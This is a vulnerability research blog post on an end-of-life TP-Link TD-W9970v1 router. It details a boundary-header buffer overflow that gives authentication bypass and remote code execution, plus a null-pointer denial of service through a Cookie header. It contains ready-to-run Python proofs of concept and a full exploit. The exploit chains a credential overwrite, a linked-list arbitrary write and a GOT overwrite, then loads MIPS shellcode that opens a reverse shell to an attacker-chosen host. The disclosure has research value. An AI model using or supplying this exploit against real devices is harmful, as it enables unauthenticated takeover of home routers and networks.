BITS & PIECES
Published on

Unauthenticated RCE in TP-Link TD-W9970v1

Authors

Table of contents

In my earlier vulnerability research attempts I analyzed the router I used in my home network, specifically the TP-Link TD-W9970v1. The router is an old model that is (recently confirmed to be) EoL. The vulnerability is very simple but it's relatively tricky to achieve remote code execution, which is the reason why I decided to write a blog post about it.

There are two vulnerabilities in httpd, the webserver daemon that serves the configuration interface of the router. These are:

  • A buffer overflow causing authentication bypass and RCE,
  • A nullptr dereference causing DoS.

the recon

Having no hardware knowledge, my research was focused solely on the software running on the device. To get access to the binaries, I could grab the latest firmware from manifacturer's website and flash it. Since firmware packages are not encrypted, binaries can be extracted easily. Though instead, I wanted to keep the firmware as-is and used a different approach.

There is a code execution exploit that leverages code injection vulnerabilities that can be triggered via configuration export/import [1]. (Note that although it is a code execution vulnerability, it requires authentication and a restart to the device.) Using this vulnerability I popped a shell and dumped the whole filesystem.

I dumped and analyzed httpd since it is the http server that provides the configuration interface and from what I've seen on the internet it is the binary that most likely has vulnerabilities.

Information about httpd:

$ file httpd
httpd: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically
linked, interpreter /lib/ld-uClibc.so.0, stripped

$ pwn checksec httpd
[*] '/home/erfur/lab/tplink-rce/httpd_static_analysis/httpd'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    RPATH:    b'/var/tmp/pc/'

vuln 1: buffer overflow and authentication bypass

I analyzed the binary in GHIDRA and found that most of the parsing is done in the function http_parser_main. In the meantime I checked imports for potentially vulnerable functions and saw that strcpy was in use. I went through the references and saw that most of the time it's used to copy string literals, which is a valid use for it. However, there is a call in http_parser_main that copies a string from the request.

strcpy1

From mozilla developer page:

multipart1

The delimiter that will be used to seperate data blocks is parsed in the given block. The string is assumed to be terminated by a semicolon, the terminator byte is converted to a null terminator and then the string is copied to a buffer with strcpy.

The vulnerability is easy to trigger, there aren't really any constraints to consider. The only constraint here is that lines are limited to 0x400 bytes. The following request will trigger the buffer overflow:

POST /test HTTP/1.0
Content-Type: multipart/form-data;boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;

Minus the necessary data and the last byte being null, it is possible to copy exactly 980 bytes into the buffer.

To assess the impact of this vulnerability, I analyzed the buffer. It is a static buffer sitting at 0x00437d50 in the .bss section. Judging from references, it's defined as a 0x100 length buffer. I analyzed the subsequent buffers and found the buffer that keeps the login credentials at 0x0043810d which can be overwritten.

gef➤  x/s 0x0043810d
0x43810d:	"YWRtaW46YWRtaW4="

The credentials are stored as base64 encoded strings in the form of admin:password. YWRtaW46YWRtaW4= is decoded to admin:admin which is the default login credentials for this router.

On a side note, after analyzing the function that does the authentication http_auth_doAuth, I saw that the buffer is actually the second entry in a list of four that starts at offset 0x004380e0. Interestingly the rest of the entries are not in use.

auth1

Overwriting the base64 string allows authentication bypass without any crashes.

import socket
from base64 import b64encode
import sys

HOST = sys.argv[1]  # IP of the router 
PORT = 80           # httpd port

payload = b"POST / HTTP/1.1\r\n" \
 + b"Content-Type: multipart/form-data;boundary=%s\r\n\r\n" \
    % (b'A'*957 + b64encode(b'erfur:wololo'))

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(payload)
    data = s.recv(1024)

print(f"Received {data!r}")

Being able to bypass authentication has a high impact, however it does not allow the attacker to directly execute code on the device. I'll revisit this vulnerability after I explain the second one.

vuln 2: nullptr dereference and denial of service

I wanted to fuzz http_parser_main in order to find vulnerabilities that I might've missed. Since it's a MIPS binary I went with a qiling-based harness. I dumped the input state with gdb, hooked the necessary calls and ran afl++ with the harness. In a couple hours there were tens of crashes, though they all turned out to be caused by the same bug.

dos1

In the code that parses Cookie headers, there is a function that parses and sets pointers to name and value pairs.

dos2

It is possible that the function may return without setting the val pointer. However, the value of the pointer is not checked in the previous block, allowing a cookie header without a value to cause a nullptr dereference and effectively crashing httpd. Here's a proof of concept:

import socket
import sys

HOST = sys.argv[1]  # IP of the router 
PORT = 80           # httpd port

payload = b"GET / HTTP/1.1\r\nCookie: Authorization;\r\n\r\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(payload)
    data = s.recv(1024)

vuln 1 revisited: arbitrary write primitive and rce

In my first analysis of the memory that is in the range of the buffer overflow, I couldn't make sense of how some of the buffers were used by the referenced functions. After a second take, I realized that there is a static circular doubly-linked list (yes its a mouthful) implementation that is used to parse the arguments in request URIs.

args1

The argsList buffer sits at 0x437e54 and is initialized by http_parser_init. There are 0x28 nodes in the buffer and these nodes are initialized by forming a doubly linked list with the head argsListEmptyHead (the head is a static variable that sits somewhere else in .bss).

args2

In the function http_parser_argStrToList, arguments appended to uri are parsed and the created nodes are added to another head, argsListUsedHead.

It is possible to overflow argsList in such a way that allows writing 4bytes at an arbitrary location. Initially the linked list looks like this:

linkedlist1

When a new argument is parsed, the first empty node is taken from argsListEmptyHead, its name and value pointers are set and then the node is removed from the empty list and added to argsListUsedHead. If I set next as the data and prev as the destination address, after the first argument is parsed, the following lines will write my data to my address with only one caveat: The value placed in next must be a valid memory location and the subsequent four bytes must be writeable.

args3

One final note is that uri arguments are parsed after authentication, which is a trivial constraint in this case.

The arbitrary write primitive is useful to overwrite the GOT table. The last piece of business is to find a place for our shellcode. Interestingly, when I inspected the memory maps I saw that most of .bss is actually executable.

~ # cat /proc/1035/maps
cat /proc/1035/maps
00400000-00413000 r-xp 00000000 1f:00 221        /usr/bin/httpd
00423000-00424000 rw-p 00013000 1f:00 221        /usr/bin/httpd
00424000-00439000 rwxp 00000000 00:00 0
00a66000-00a67000 rwxp 00000000 00:00 0          [heap]
00a67000-00a68000 rwxp 00000000 00:00 0          [heap]

This map table is different than r2 and GHIDRA output and I have no idea why. Ultimately it is a good thing for the exploit becuase we can place the shellcode in boundaryBuffer and overwrite GOT table with its location.

the exploit

Exploitation is done in the following steps:

  1. Overwrite authentication credentials and the linked list.
  2. Trigger arbitrary write and overwrite a GOT table entry.
  3. Write shellcode into the boundary buffer.
  4. Trigger the overwritten GOT entry.
  5. Profit.

Since the linked-list operation will overwrite the buffer that will hold the shellcode, it should be sent after. The combined payload will look like this:

payload

Since the buffer is copied with strcpy, the null bytes will terminate the copy. So in order to copy everything, the payload is split into non-null chunks and the chunks will be placed from last to first. The final exploit is below:

import socket
import sys
import base64

overflow_template = b"POST /test HTTP/1.1\r\n"
overflow_template += b"Content-Type: multipart/form-data;boundary=%b;\r\n\r\n"

linkedlist_template = b"POST /?_=test HTTP/1.1\r\n"
linkedlist_template += b"Cookie: Authorization=Basic %b\r\n\r\n"

got_addr = 0x004235D0  # os_getSysUpTime
boundary_buffer = 0x00437D50
args_buffer = 0x00437E54
auth_buffer = 0x0043810D

# http://shell-storm.org/shellcode/files/shellcode-794.php
# https://www.exploit-db.com/exploits/45541
shellcode_template = b"\x24\x0f\xff\xfa"    # li      $t7, -6
shellcode_template += b"\x01\xe0\x78\x27"   # nor     $t7, $zero
shellcode_template += b"\x21\xe4\xff\xfd"   # addi    $a0, $t7, -3
shellcode_template += b"\x21\xe5\xff\xfd"   # addi    $a1, $t7, -3
shellcode_template += b"\x28\x06\xff\xff"   # slti    $a2, $zero, -1
shellcode_template += b"\x24\x02\x10\x57"   # li      $v0, 4183 ( sys_socket )
shellcode_template += b"\x01\x01\x01\x0c"   # syscall 0x40404
shellcode_template += b"\xaf\xa2\xff\xff"   # sw      $v0, -1($sp)
shellcode_template += b"\x8f\xa4\xff\xff"   # lw      $a0, -1($sp)
shellcode_template += b"\x34\x0f\xff\xfd"   # li      $t7, -3 ( sa_family = AF_INET )
shellcode_template += b"\x01\xe0\x78\x27"   # nor     $t7, $zero
shellcode_template += b"\xaf\xaf\xff\xe0"   # sw      $t7, -0x20($sp)
shellcode_template += b"\x3c\x0e%c%c"       # lui     $t6, 0x7a69 ( sin_port = 0x7a69 )
shellcode_template += b"\x35\xce\x7a\x69"   # ori     $t6, $t6, 0x7a69
shellcode_template += b"\xaf\xae\xff\xe4"   # sw      $t6, -0x1c($sp)
shellcode_template += b"\x3c\x0e%c%c"       # lui     $t6, 0xc0a8         ( sin_addr = 0xc0a8 ...
shellcode_template += b"\x35\xce%c%c"       # ori     $t6, $t6, 0x029d                 ... 0x029d
shellcode_template += b"\xaf\xae\xff\xe6"   # sw      $t6, -0x1a($sp)
shellcode_template += b"\x27\xa5\xff\xe2"   # addiu   $a1, $sp, -0x1e
shellcode_template += b"\x24\x0c\xff\xef"   # li      $t4, -17  ( addrlen = 16 )
shellcode_template += b"\x01\x80\x30\x27"   # nor     $a2, $t4, $zero
shellcode_template += b"\x24\x02\x10\x4a"   # li      $v0, 4170 ( sys_connect )
shellcode_template += b"\x01\x01\x01\x0c"   # syscall 0x40404
shellcode_template += b"\x24\x0f\xff\xfd"   # li      t7,-3
shellcode_template += b"\x01\xe0\x28\x27"   # nor     a1,t7,zero
shellcode_template += b"\x8f\xa4\xff\xff"   # lw      $a0, -1($sp)
shellcode_template += b"\x24\x02\x0f\xdf"   # li      $v0, 4063 ( sys_dup2 )
shellcode_template += b"\x01\x01\x01\x0c"   # syscall 0x40404
shellcode_template += b"\x24\xa5\xff\xff"   # addi    a1,a1,-1 (\x20\xa5\xff\xff)
shellcode_template += b"\x24\x01\xff\xff"   # li      at,-1
shellcode_template += b"\x14\xa1\xff\xfb"   # bne     a1,at, dup2_loop
shellcode_template += b"\x28\x06\xff\xff"   # slti    $a2, $zero, -1
shellcode_template += b"\x3c\x0f\x2f\x2f"   # lui     $t7, 0x2f2f
shellcode_template += b"\x35\xef\x62\x69"   # ori     $t7, $t7, 0x6269
shellcode_template += b"\xaf\xaf\xff\xec"   # sw      $t7, -0x14($sp)
shellcode_template += b"\x3c\x0e\x6e\x2f"   # lui     $t6, 0x6e2f
shellcode_template += b"\x35\xce\x73\x68"   # ori     $t6, $t6, 0x7368
shellcode_template += b"\xaf\xae\xff\xf0"   # sw      $t6, -0x10($sp)
shellcode_template += b"\xaf\xa0\xff\xf4"   # sw      $zero, -0xc($sp)
shellcode_template += b"\x27\xa4\xff\xec"   # addiu   $a0, $sp, -0x14
shellcode_template += b"\xaf\xa4\xff\xf8"   # sw      $a0, -8($sp)
shellcode_template += b"\xaf\xa0\xff\xfc"   # sw      $zero, -4($sp)
shellcode_template += b"\x27\xa5\xff\xf8"   # addiu   $a1, $sp, -8
shellcode_template += b"\x24\x02\x0f\xab"   # li      $v0, 4011 (sys_execve)
shellcode_template += b"\x01\x01\x01\x0c"   # syscall 0x40404

if len(sys.argv) != 4:
    print("Usage:")
    print(f"  ./{sys.argv[0]} <router ip> <reverse ip> <reverse port>")
    exit(0)

ip = sys.argv[1]
reverse_ip = sys.argv[2]
reverse_port = int(sys.argv[3])


def send(data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((ip, 80))
        s.send(data)
        s.recv(4096)


def send_payload(payload):
    payload_chunks = payload.split(b"\x00")
    print(f"[*] send payload in {len(payload_chunks)} steps...")
    while payload_chunks:
        send(overflow_template % (b"A".join(payload_chunks)))
        payload_chunks.pop()


# generate shellcode with reverse connection ip:port
shellcode = shellcode_template % (
    tuple(reverse_port.to_bytes(2, "big")) + tuple(socket.inet_aton(reverse_ip))
)

creds = base64.b64encode(b"erfur:wololo")

payload = b"".join(
    [
        b"A" * (args_buffer - boundary_buffer),
        boundary_buffer.to_bytes(4, "big"),
        got_addr.to_bytes(4, "big"),
        b"A" * (auth_buffer - args_buffer - 8),
        creds,
    ]
)

print("[*] send first payload")
send_payload(payload)

print("[*] trigger arbitrary write...")
send(linkedlist_template % creds)

print("[*] send shellcode")
send_payload(shellcode)

print("[*] trigger got entry...")
send(b"GET / HTTP/1.1\r\n\r\n")

print("[+] done, check your reverse shell.")

Here's the exploit in action: